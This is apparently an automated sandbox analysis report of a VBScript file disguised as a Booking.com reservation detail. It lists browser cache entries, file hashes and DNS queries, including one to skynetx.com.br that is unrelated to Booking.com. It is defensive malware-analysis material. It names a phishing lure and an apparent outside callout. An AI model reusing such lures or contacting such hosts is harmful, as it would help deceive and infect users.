Preview:	var OneTrustStub=(t=>{var a,o,r,e,l=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.domPurifyScriptName="otDomPurify.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:"",stateName:""}},s=((g=y=y\|\|{})[g.Days=1]="Days",g[g.Weeks=7]="Weeks",g[g.Months=30]="Months",g[g.Years=365]="Years",(g=e=e\|\|{}).Name="O

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
URL:	https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454)
Category:	downloaded
Size (bytes):	172505
Entropy (8bit):	5.660525796811171
Encrypted:	false
SSDEEP:	3072:UU1LA8rxC2a3Xl8mOU03o4PwjRSBZTLqi:XTxC2anl1XR4ZTX
MD5:	7FAC7AC7D44509631D451FF395C84EC8
SHA1:	A9CB4EB095895E73B6FDED7865B6E53D688480CB
SHA-256:	5741CFDCE631A1D7680787F5BC7AF5CFF3200A622C053AD676CC7D036C49C8D4
SHA-512:	FB052BF57F62B0C150DE16F3B87B26E095DAA94AD39A57804922D3904656CF3DB1D21EDA9FF531F48C91ABFC066DFCFD2BF83B27F8AC60C7615A030981DBBAC4
Malicious:	false
URL:	https://cf.bstatic.com/psb/accountsportal/assets/704_e7ede50c1fdac354671b.js
Preview:	/! For license information please see 704_e7ede50c1fdac354671b.js.LICENSE.txt /."use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[704],{49158:function(t,e,d){var n=d(96540);e.A=function(){return n.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 128 128"},n.createElement("path",{d:"M56.33 102a6 6 0 0 1-4.24-1.75L19.27 67.54A6.014 6.014 0 1 1 27.74 59l27.94 27.88 44-58.49a6 6 0 1 1 9.58 7.22l-48.17 64a6 6 0 0 1-4.34 2.39z"}))}},64525:function(t,e,d){var n=d(96540);e.A=function(){return n.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n.createElement("path",{d:"M19.5 16.5v5.25a.75.75 0 0 1-.75.75H5.25a.75.75 0 0 1-.75-.75v-10.5a.75.75 0 0 1 .75-.75h13.5a.75.75 0 0 1 .75.75zm1.5 0v-5.25A2.25 2.25 0 0 0 18.75 9H5.25A2.25 2.25 0 0 0 3 11.25v10.5A2.25 2.25 0 0 0 5.25 24h13.5A2.25 2.25 0 0 0 21 21.75zM7.5 9.75V6a4.5 4.5 0 0 1 9 0v3.75a.75.75 0 0 0 1.5 0

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (564)
Category:	dropped
Size (bytes):	5054
Entropy (8bit):	5.2835156448031
Encrypted:	false
SSDEEP:	96:1GInbH6vTKvmYDDaLVxLw5rZQlhaPr66PHDf/H4QgG+vylylqn/Dg1judjai:kIn7+TKVDUq1ohanHDf/dw6clqn/Dg1k
MD5:	7301F10E5D95F7E84072AE475108E15E
SHA1:	258EED273C669495AC66B85759957E9FF54162B0
SHA-256:	912EB529C21009ECBC25C4839DB7B9764EEB4CBDCA49BB09C80966F0B76A02CE
SHA-512:	ECE196D6E413EF076D10AC0472BA8BC198FF9A3799D1904E63FA87346A505F0E8D0F56BD2F7B11E774AD3A9B5FD5460C04E54522BD1C4056CDFD2C05D2E91A8E
Malicious:	false
Preview:	!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(k.substring(l),""):k);if(f&&(-1!==f.indexOf(C)\|\|-1!==d.Tag.indexOf(f))){g=d;break}}return g}(a);return e.CategoryId&&(c=e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");.return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(function(d){return d===h})&&(g=["C0004"]);return g}(a)),{categoryIds:c,vsCatIds:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled;b=e&&b.OneTrust.IsVendorServiceEnabled()

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	123
Entropy (8bit):	5.613058867350036
Encrypted:	false
SSDEEP:	3:YPdmkcGBql06y5IAHmgxhtahPUohSDdn3iOZvlmhv:YlmkvzIQtqK3Xv85
MD5:	81D2A3FBBE82855B07AF97C402D35844
SHA1:	3F5DBA312ED33342040FC9CF45EA8D9A8DBFCAFC
SHA-256:	8B3ECF4D080A8E7D35303B091FFE3E8F6BAA0610850E347B34CC0A6A5AE6C6C1
SHA-512:	F1C52184C1930B605EE026838E378B67F1475954FAC63B0ECE08FDC31F5D6A7F54662F64712F4BBE56D289A7E6BB2471746161A7805655DF87ADB5A6B22E1E6A
Malicious:	false
Preview:	{"j88":"ZmZqahS_RDu51USShy_RBQ9bk1zf6Ngc-xcrPG1BRePHrrCem0ALRdp0dJCWjBDF5Dj1gW2KLqjqRxD7aGxu1f8B1KtADkVAIZpeiOAvLCeb77dZ"}.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454)
Category:	dropped
Size (bytes):	172505
Entropy (8bit):	5.660525796811171
Encrypted:	false
SSDEEP:	3072:UU1LA8rxC2a3Xl8mOU03o4PwjRSBZTLqi:XTxC2anl1XR4ZTX
MD5:	7FAC7AC7D44509631D451FF395C84EC8
SHA1:	A9CB4EB095895E73B6FDED7865B6E53D688480CB
SHA-256:	5741CFDCE631A1D7680787F5BC7AF5CFF3200A622C053AD676CC7D036C49C8D4
SHA-512:	FB052BF57F62B0C150DE16F3B87B26E095DAA94AD39A57804922D3904656CF3DB1D21EDA9FF531F48C91ABFC066DFCFD2BF83B27F8AC60C7615A030981DBBAC4
Malicious:	false
Preview:	/! For license information please see 704_e7ede50c1fdac354671b.js.LICENSE.txt /."use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[704],{49158:function(t,e,d){var n=d(96540);e.A=function(){return n.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 128 128"},n.createElement("path",{d:"M56.33 102a6 6 0 0 1-4.24-1.75L19.27 67.54A6.014 6.014 0 1 1 27.74 59l27.94 27.88 44-58.49a6 6 0 1 1 9.58 7.22l-48.17 64a6 6 0 0 1-4.34 2.39z"}))}},64525:function(t,e,d){var n=d(96540);e.A=function(){return n.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n.createElement("path",{d:"M19.5 16.5v5.25a.75.75 0 0 1-.75.75H5.25a.75.75 0 0 1-.75-.75v-10.5a.75.75 0 0 1 .75-.75h13.5a.75.75 0 0 1 .75.75zm1.5 0v-5.25A2.25 2.25 0 0 0 18.75 9H5.25A2.25 2.25 0 0 0 3 11.25v10.5A2.25 2.25 0 0 0 5.25 24h13.5A2.25 2.25 0 0 0 21 21.75zM7.5 9.75V6a4.5 4.5 0 0 1 9 0v3.75a.75.75 0 0 0 1.5 0

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (49673), with no line terminators
Category:	downloaded
Size (bytes):	3332501
Entropy (8bit):	5.813833659089693
Encrypted:	false
SSDEEP:	24576:bAIIYZABWN9/V8F00u5/wEQ+uBj5NKQaHzD5:bAIIYZABWN9aF00u5/wEQ+uFmQaB
MD5:	33508011962732938659291FFBE05B95
SHA1:	B489FB512E51F1682CDCC3E4732EC7B55C0DD6A7
SHA-256:	98A41E4926EF707E173CCAFBDCF54DA1D1DF7E52EDA7CE62013124692630AF30
SHA-512:	69EC986DE90B4DC56E9514BAD3B21180165E12DC2C69F331D0DB48AA00454C3F7CA10D0DE05F95A238CF529392B34112008C2C7C7E3E37592F0E56B2BB9DDC0E
Malicious:	false
URL:	https://cf.bstatic.com/psb/accountsportal/assets/index_ddf778f4f644e59e0e78.js
Preview:	(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[57],{43450:function(n,e,t){"use strict";var i;function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},a(n)}function r(n,e){for(var t=0;t<e.length;t++){var i=e[t];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(n,_(i.key),i)}}function o(n,e,t){return(e=_(e))in n?Object.defineProperty(n,e,{value:t,enumerable:!0,configurable:!0,writable:!0}):n[e]=t,n}function _(n){var e=function(n,e){if("object"!=a(n)\|\|!n)return n;var t=n[Symbol.toPrimitive];if(void 0!==t){var i=t.call(n,"string");if("object"!=a(i))return i;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(n)}(n);return"symbol"==a(e)?e:String(e)}t(82975),t(17482),t(1

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
URL:	https://xx.bstatic.com/static/img/favicon.ico
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (799)
Category:	dropped
Size (bytes):	3662
Entropy (8bit):	5.4767781783171126
Encrypted:	false
SSDEEP:	96:/Z5gixsZq4LjbAadjbb3kb5Cq1Kypp1EqTewM04Q:/rR2E4LoadzFgT1EqTz
MD5:	2C3950F122B3977DF61B0E077AAA92C8
SHA1:	7BBC3B129BB0F1320C6ECB67688DDC8F78EF6574
SHA-256:	6082597F3871C77C9B31AA1383577F8C0E54CB5FF09275DC817BC70D96E6217D
SHA-512:	0651EAD9C0FF20B42C8A9380A9EBBACA9291C3D00F061C08E9D9B1E33D923D40BA10EAB11DFEDD4544DAD1F9716D6D76DB3DFFE7FDC744C643F75D7BD08F53FD
Malicious:	false
Preview:	(function(){.var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor(Math.random()*E.C)+E.v).toString(E.L)};function T(E){this.C=E}T.prototype.supported=function(){return void 0!=window.localStorage};T.prototype.get=function(){return window.localStorage.getItem(this.C)};T.prototype.set=function(E){return window.localStorage.setItem(this.C,E)};T.prototype.set=T.prototype.set;function Z(){var E=z(),Y=new N(16);Y=l(Y)+l(Y)+l(Y)+l(Y);return[0,0,E,E,Y].join(":")}function J(){var E=new T("ed73f20edbf2b73");if(!E.supported())return null;E=E.get();if(null===E)return null;var Y=E.split("_");2===Y.length&&(E=Y[0]);return"0:"+E}.function v(){var E=J();if(null===E)if(E=new T("ed73f20edbf2b74"),E.supported()){var Y=E.get();null===Y&&(Y=Z());var u=E.set;var S=Y.split(":");if(5!=S.length)S=Y;else{var t=parseInt(S[1],

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (47699), with NEL line terminators
Category:	dropped
Size (bytes):	472909
Entropy (8bit):	5.603887876458358
Encrypted:	false
SSDEEP:	6144:leING6/2f90bJcq4Hk1SZfn4MyUyq2ru/L+iobTNr7pG0V:lm6/jbyq4Hk1SZfn12C1oZQg
MD5:	382797DE2B742ABBCD4B2F89F26DC330
SHA1:	BB2CFBF78B5F8293E89A01F1B9678B5CD7D4F5F5
SHA-256:	1A905ABDC1855B101965BBDA7E0C422AF729F478893C5CCBCEDAE11298750D20
SHA-512:	86E09AF0B9C5B9E87D59CA137C18507882AE80201B7F16732A88FD8CE4C3AC3E7CF09E6C61DF772770090C4601EC7D72AD116A051A68B201CC2EED0EE474FCF6
Malicious:	false
Preview:	!function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function L(n){if(n.__esModule)return n;var r=Object.defineProperty({},"__esModule",{value:!0});return Object.keys(n).forEach(function(t){var e=Object.getOwnPropertyDescriptor(n,t);Object.defineProperty(r,t,e.get?e:{enumerable:!0,get:function(){return n[t]}})}),r}function U(t){throw new Error('Could not dynamically require "'+t+'". Please configure the dynamicRequireTargets or/and ignoreDynamicRequires option of @rollup/plugin-commonjs appropriately for this require call to work.')}function M(t){return t&&t.Math==Math&&t}function F(t){try{return!!t()}catch(t){return!0}}function V(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}function G(t){return Ht.call(t).slice(8,-1)}function J(t){if(null

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (564)
Category:	downloaded
Size (bytes):	5054
Entropy (8bit):	5.2835156448031
Encrypted:	false
SSDEEP:	96:1GInbH6vTKvmYDDaLVxLw5rZQlhaPr66PHDf/H4QgG+vylylqn/Dg1judjai:kIn7+TKVDUq1ohanHDf/dw6clqn/Dg1k
MD5:	7301F10E5D95F7E84072AE475108E15E
SHA1:	258EED273C669495AC66B85759957E9FF54162B0
SHA-256:	912EB529C21009ECBC25C4839DB7B9764EEB4CBDCA49BB09C80966F0B76A02CE
SHA-512:	ECE196D6E413EF076D10AC0472BA8BC198FF9A3799D1904E63FA87346A505F0E8D0F56BD2F7B11E774AD3A9B5FD5460C04E54522BD1C4056CDFD2C05D2E91A8E
Malicious:	false
URL:	https://cdn.cookielaw.org/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js
Preview:	!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(k.substring(l),""):k);if(f&&(-1!==f.indexOf(C)\|\|-1!==d.Tag.indexOf(f))){g=d;break}}return g}(a);return e.CategoryId&&(c=e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");.return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(function(d){return d===h})&&(g=["C0004"]);return g}(a)),{categoryIds:c,vsCatIds:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled;b=e&&b.OneTrust.IsVendorServiceEnabled()

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (24503)
Category:	downloaded
Size (bytes):	287254
Entropy (8bit):	4.9142233776324415
Encrypted:	false
SSDEEP:	3072:HgxbQpQRFhJ6bjVFd4xjg2VFd4xjgkVFd4xjgFTyJyv0ZlCQT:eFhJ6EQmcY
MD5:	C9087021B2BFE6FBABA08622AD1D5C17
SHA1:	8158CC522AA1FE78D3DAD27C25EBAC95146DEAC2
SHA-256:	B394FF2711FA76627C57274781090CAB990C72A753C266A22EC2F8C6D937484D
SHA-512:	3D8CB49CEBF6EF027653A633D7B681B4890ACD53F18CB7BB65F6623D4CA62030B6837B6B2E0C975F4EF3CBDFE14534447F9E2C9477D189D3FBE82D2B8411394E
Malicious:	false
URL:	https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI
Preview:	.<!DOCTYPE html>.<html class="no-js" lang="en-us">.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.. <script nonce="oXnv2PyS6ArNA1k">. .(function( win, doc ) {.. var errors = [],. errorCount = 0,. canParse = (function() {}).toString && /bkg/.test( function() { bkg; } );.. var NOW,. UNDEF;.. var LAST_CLIENT_EVENT;.. var SERVER_ASKED_TO_BLOCK = readCookie( 'error_catcher' ) === 'kill';.. var SHOULD_BLOCK = function( error ) {.. return SERVER_ASKED_TO_BLOCK \|\| error.index > 2;.. };.. var ERROR_TRANSPORT = {.. URL: '/js_errors',. METHOD: 'POST',. MAX_STACK_LINES: 12,. MAX_STACK_LENGTH: 900,. MAX_FUNCTION_BODY_LENGTH: 150,. STACK_TRUNCATED_TEXT: '(... truncated!)',.. SEND_ONLY_IF: function() {.. return !!doc.getElementById( 'req_info' );.. },.. IS_BOT: function( message ) {.. return getKey( '$u.b01' ) \|\| getKey( 'booking_extra.b

Static File Info

General

File type:	ASCII text, with very long lines (339), with CRLF line terminators
Entropy (8bit):	5.631075983335017
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Reservation Detail Booking.com ID4336.vbs
File size:	207'204 bytes
MD5:	016d0fea2d4312dd14cd034ca4817332
SHA1:	0aec6cadd1d5171ff2583251225c7904eef88b28
SHA256:	5c7630fbc4fce5f65a5b6fbc39c5d1234667db27ceb416ed5a71bdf4ab567093
SHA512:	f955c9ff1bd51095c256428c137667d65862243974e591d74c6c1904d79c296de87a02869320d9827e61096a1835fbb120425a912098ffdd80b36605f65e2c15
SSDEEP:	3072:6yLtoUyLtouyLtoByLtokyLtosyLto/DgGpdDJkCkRFHvyLtoU:ZtctOtxtCtetGk8tL
TLSH:	D81406636E113024093B6BF7C82E593AE99456F306915174BE4CF8704F3235A7EEE29B
File Content Preview:	'Copyright (c) Microsoft Corporation. All rights reserved...'////////////////////////////////////////////////////////////////////////////////////////..'////////////////////////////////////////////////////////////////////////////////////////..CONST wshOK

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 2, 2024 14:00:03.826941967 CET	192.168.2.5	1.1.1.1	0x6fa4	Standard query (0)	account.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:03.827306986 CET	192.168.2.5	1.1.1.1	0xdfe4	Standard query (0)	account.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:05.368065119 CET	192.168.2.5	1.1.1.1	0x4c42	Standard query (0)	cf.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:05.368438959 CET	192.168.2.5	1.1.1.1	0x6b16	Standard query (0)	cf.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:06.043582916 CET	192.168.2.5	1.1.1.1	0x85f9	Standard query (0)	cdn.cookielaw.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.043704987 CET	192.168.2.5	1.1.1.1	0xf030	Standard query (0)	cdn.cookielaw.org	65	IN (0x0001)	false
Nov 2, 2024 14:00:06.044121981 CET	192.168.2.5	1.1.1.1	0xbf62	Standard query (0)	www.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.044230938 CET	192.168.2.5	1.1.1.1	0x3345	Standard query (0)	www.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:06.047297001 CET	192.168.2.5	1.1.1.1	0x9e42	Standard query (0)	saa.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.047549009 CET	192.168.2.5	1.1.1.1	0x39cb	Standard query (0)	saa.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:06.242070913 CET	192.168.2.5	1.1.1.1	0x4373	Standard query (0)	skynetx.com.br	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.933115005 CET	192.168.2.5	1.1.1.1	0x549d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:06.933262110 CET	192.168.2.5	1.1.1.1	0x3f8c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:07.296602964 CET	192.168.2.5	1.1.1.1	0x2007	Standard query (0)	cdn.cookielaw.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.296905041 CET	192.168.2.5	1.1.1.1	0x938f	Standard query (0)	cdn.cookielaw.org	65	IN (0x0001)	false
Nov 2, 2024 14:00:07.428495884 CET	192.168.2.5	1.1.1.1	0x7b1a	Standard query (0)	cf.bstatic.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.430053949 CET	192.168.2.5	1.1.1.1	0x6bea	Standard query (0)	cf.bstatic.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:07.455440044 CET	192.168.2.5	1.1.1.1	0x2227	Standard query (0)	saa.booking.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 14:00:07.455679893 CET	192.168.2.5	1.1.1.1	0xdfd3	Standard query (0)	saa.booking.com	65	IN (0x0001)	false
Nov 2, 2024 14:00:07.457729101 CET	192.168.2.5	1.1.1.1	0x9539	Standard query (0)	account.booking.com	A (IP address)	IN (0x0001)	false
